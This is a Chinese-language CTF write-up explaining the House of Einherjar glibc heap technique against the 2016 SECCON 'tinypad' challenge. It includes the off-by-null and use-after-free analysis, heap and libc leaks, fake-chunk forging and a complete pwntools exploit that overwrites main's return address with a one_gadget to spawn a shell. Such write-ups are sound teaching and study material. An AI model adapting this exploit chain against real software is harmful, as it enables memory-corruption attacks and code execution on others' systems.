本文最后更新于 2024年11月18日 下午
House_of_Einherjar(2016 Seccon tinypad)
House Of Einherjar
这种结束与之前的堆块利用有一些区别,该技术可以强制使得malloc返回几乎任意地址的chunk,可以说非常强大,他的原理跟chunk_overlapping 类似,在之前的堆利用中我们都要避免与top_chunk合并,而这个技术也可以与top_chunk合并进行利用,这里给的例子只是任意地址chunk的利用
原理
free()函数向后合并
1 2 3 4 5 6 7
| if (!prev_inuse(p)) { prevsize = prev_size(p); size += prevsize; p = chunk_at_offset(p, -((long) prevsize)); unlink(av, p, bck, fwd); }
|
解释一下这个这段代码:
- 判断被释放堆块p的inuse域是否为0,如果为0则执行if里面的代码
- 记录相邻堆块的大小,即pre_size域
- size为size + prev_size
- 最后堆块p的指针由chunk_at_offset函数决定
- 最后unlink检查
- chunk_at_offset函数代码,可以看到最后堆块的指针就是原本的指针减上presize上的偏移
1 2
| #define chunk_at_offset(p, s) ((mchunkptr) (((char *) (p)) + (s)))
|
与top_chunk合并
当释放堆块紧邻top_chunk时,释放后会与top_chunk进行合并
1 2 3 4 5 6 7 8 9
| else { size += nextsize; set_head(p, size | PREV_INUSE); av->top = p; check_chunk(av, p); } *******************************************************
#define set_head(p, s) (((p)->size = (s)))
|
可以看到执行set_head()函数后,合并堆块的size会变为两个堆块的总和,并且top_chunk的指针会指向被合并的堆块p的位置。就相当于top_chunk把p给吞了,并取代了p的位置
2016 Seccon tinypad
add函数

这段代码写的有点乱,但是总的功能就是输入大小,内容创建一个memo,并且这个内容是实时打印出来的,这个memo的指针存在数组tinypad中

edit函数

这段代码的意思是输入要编辑的memo,然后输入内容,要注意的是,它并不是直接把内容输入对应chunk的data域,而是用tinypad数组过渡,然后用strcpy函数cpoy过去
但是实际上里面的自定义read函数是存在off_by_one漏洞的

可以看到循环结束后会在末尾多加一个0形成off_by_null
delete函数

这个delete函数就是输入对应的memo,然后释放,但是它也仅仅是释放,并没有把内容置零,更没有把指针置零,指针没有置零意味着我们可以重复使用。而释放后挂入bin后,其bk,fd指针是敏感信息,我们可以进行泄露
思路
泄露heap地址和libc地址
1 2 3 4 5 6
| add(0x80, "A"*0x80) add(0x80, "B"*0x80) add(0x80, "C"*0x80) add(0x80, "D"*0x80) delete(3) delete(1)
|
这里利用unsortedbin的双链表机制,chunk1的fd指针会指向chunk3,而chunk3的fd指针会指向main_arena+88

由于程序会实时打印内容,而此时的内容已经变成了我们要泄露的地址了,可以直接接收
1 2 3 4 5 6 7 8
| p.recvuntil(" # INDEX: 1\n") p.recvuntil(" # CONTENT: ") heap = u64(p.recvline().rstrip().ljust(8, b"\x00")) - 0x120 log.info("heap_base: %s" % hex(heap)) p.recvuntil(" # INDEX: 3\n") p.recvuntil(" # CONTENT: ") main_arena = u64(p.recv(6).ljust(8, b"\x00")) - 0x58 log.info("main_arena: %s" % hex(main_arena))
|
House_of_Einherjar
因为我们chunk的指针就存在tinypad数组中,所以我们伪造的fake_chunk就是tinypad
1 2 3 4
| add(0x18, "A"*0x18) add(0x100, b"B"*0xf8 + p64(0x11)) #chunk2 add(0x100, "C"*0xf8) add(0x100, "D"*0xf8)
|
我打算通过free chunk2来利用tinypad
- 那么首先就是要让chunk2的inuse域为0,也就是在申请chunk1时把内容填满即可
- 第二步要把chunk2的presize域变成 chunk2_addr-fake_chunk
- 第三步伪造fake_chunk,来绕过free函数的unlink检查
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| add(0x18, "A"*0x18) add(0x100, "B"*0xf8 + p64(0x11)) add(0x100, "C"*0x100) add(0x100, "D"*0x100)
tinypad = 0x602040 offset = heap + 0x20 - 0x602040 - 0x20 fake_chunk = p64(0) + p64(0x101) + p64(0x602060) * 2
edit(3, "D"*0x20 + fake_chunk) zero_byte_number = 8 - len(p64(offset).strip("\x00")) ''' 循环edit的原因是stcpy()会因为空子节而停止copy, 但每次读取都会将最后一个字节变为NULL, 这样就可以用NULL逐一覆盖, 使2号chunk的prev_size为offset ''' for i in range(zero_byte_number+1): data = "A"*0x10 + p64(offset).strip("\x00").rjust(8-i, 'f') edit(1, data) delete(2) edit(4, "D"*0x20 + p64(0) + p64(0x101) + p64(main_arena + 0x58)*2)
|
为什么要用循环一个字节一个字节 的覆盖chunk2的pre_size域呢?因为我们要的效果是向下面这样的

而我们如果直接输入的话,strcpy函数遇到\x00是会停止复制的,也就会造成下面的效果

没法伪造pre_size域的同时,inuse域也无法置0
而上面的代码中
1
| edit(3, "D"*0x20 + fake_chunk)
|
这一段实际上并没有把fake_chunk写进memo3,而是写进了tinypad中,还记得上面我们分析函数的时候,这个编辑会用这个数组过渡,而strcpy函数遇到0会停止copy,这就是在伪造fake_chunk绕过unlink检查
1
| edit(4, "D"*0x20 + p64(0) + p64(0x101) + p64(main_arena + 0x58)*2)
|
这一行代码是为了修复unsortedbin 链的,当fake_chunk被挂进unsortedbin后,此时链表中只有它一个,那么他的fd指针和bk指针都应该指向main_arena+88的地方,然后才可以正常申请,最后利用就如下图

更改返回地址为onegadget
这一步就是很常规的拿shell的部分了,我就步仔细说了,代码如下
1 2 3 4 5 6 7 8 9 10
| add(0xf0, b"A"*0xd0 + p64(0x18) + p64(environ_pointer) + b'a'*8 + p64(0x602148)) p.recvuntil(" # INDEX: 1\n") p.recvuntil(" # CONTENT: ") main_ret = u64(p.recvline().rstrip().ljust(8, b"\x00")) - 0x8*30 log.info("environ_addr: %s" % hex(main_ret)) edit(2, p64(main_ret)) edit(1, p64(one_gadget)) p.sendline('Q')
p.interactive()
|
完整的exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104
| from pwn import *
p = process("./tinypad") libc = ELF("./libc-1.so.6") context.log_level = 'debug'
def add(size, content): p.recvuntil("(CMD)>>> ") p.sendline("A") p.recvuntil("(SIZE)>>> ") p.sendline(str(size)) p.recvuntil("(CONTENT)>>> ") p.sendline(content)
def delete(index):
p.recvuntil("(CMD)>>> ") p.sendline("D") p.recvuntil("(INDEX)>>> ") p.sendline(str(index))
def edit(index, content, ok=True): p.recvuntil("(CMD)>>> ") p.sendline("E") p.recvuntil("(INDEX)>>> ") p.sendline(str(index)) p.recvuntil("(CONTENT)>>> ") p.sendline(content) p.recvuntil("(Y/n)>>> ") if ok: p.sendline("Y") else: p.sendline("n")
add(0x80, "A"*0x80) add(0x80, "B"*0x80) add(0x80, "C"*0x80) add(0x80, "D"*0x80) delete(3) delete(1)
p.recvuntil(" # INDEX: 1\n") p.recvuntil(" # CONTENT: ") heap = u64(p.recvline().rstrip().ljust(8, b"\x00")) - 0x120 log.info("heap_base: %s" % hex(heap)) p.recvuntil(" # INDEX: 3\n") p.recvuntil(" # CONTENT: ") main_arena = u64(p.recv(6).ljust(8, b"\x00")) - 0x58 log.info("main_arena: %s" % hex(main_arena))
delete(2) delete(4)
add(0x18, "A"*0x18) add(0x100, b"B"*0xf8 + p64(0x11)) add(0x100, "C"*0xf8) add(0x100, "D"*0xf8) tinypad = 0x602040 offset = heap + 0x20 - 0x602040 - 0x20 fake_chunk = p64(0) + p64(0x101) + p64(0x602060) * 2 edit(3, b"D"*0x20 + fake_chunk) zero_byte_number = 8 - len(p64(offset).strip(b"\x00"))
for i in range(zero_byte_number+1): data = b"A"*0x10 + p64(offset).strip(b"\x00").rjust(8-i, b'f') edit(1, data) delete(2) edit(4, b"D"*0x20 + p64(0) + p64(0x101) + p64(main_arena + 0x58)*2) gdb.attach(p) pause()
libc_base = main_arena + 0x58 - 0x3c4b78 log.info("libc_base: %s" % hex(libc_base)) one_gadget = libc_base + 0xf1147 environ_pointer = libc_base + libc.symbols['__environ'] add(0xf0, b"A"*0xd0 + p64(0x18) + p64(environ_pointer) + b'a'*8 + p64(0x602148)) p.recvuntil(" # INDEX: 1\n") p.recvuntil(" # CONTENT: ") main_ret = u64(p.recvline().rstrip().ljust(8, b"\x00")) - 0x8*30 log.info("environ_addr: %s" % hex(main_ret)) edit(2, p64(main_ret)) edit(1, p64(one_gadget)) p.sendline('Q')
p.interactive()
''' 0x4526a execve("/bin/sh", rsp+0x30, environ) constraints: [rsp+0x30] == NULL || {[rsp+0x30], [rsp+0x38], [rsp+0x40], [rsp+0x48], ...} is a valid argv
0xf02a4 execve("/bin/sh", rsp+0x50, environ) constraints: [rsp+0x50] == NULL || {[rsp+0x50], [rsp+0x58], [rsp+0x60], [rsp+0x68], ...} is a valid argv
0xf1147 execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL || {[rsp+0x70], [rsp+0x78], [rsp+0x80], [rsp+0x88], ...} is a valid argv'''
|
参考文章
Tinypad Seccon CTF 2016(House Of Einherjar)
ctfwiki-House Of Einherjar
好好说话之House Of Einherjar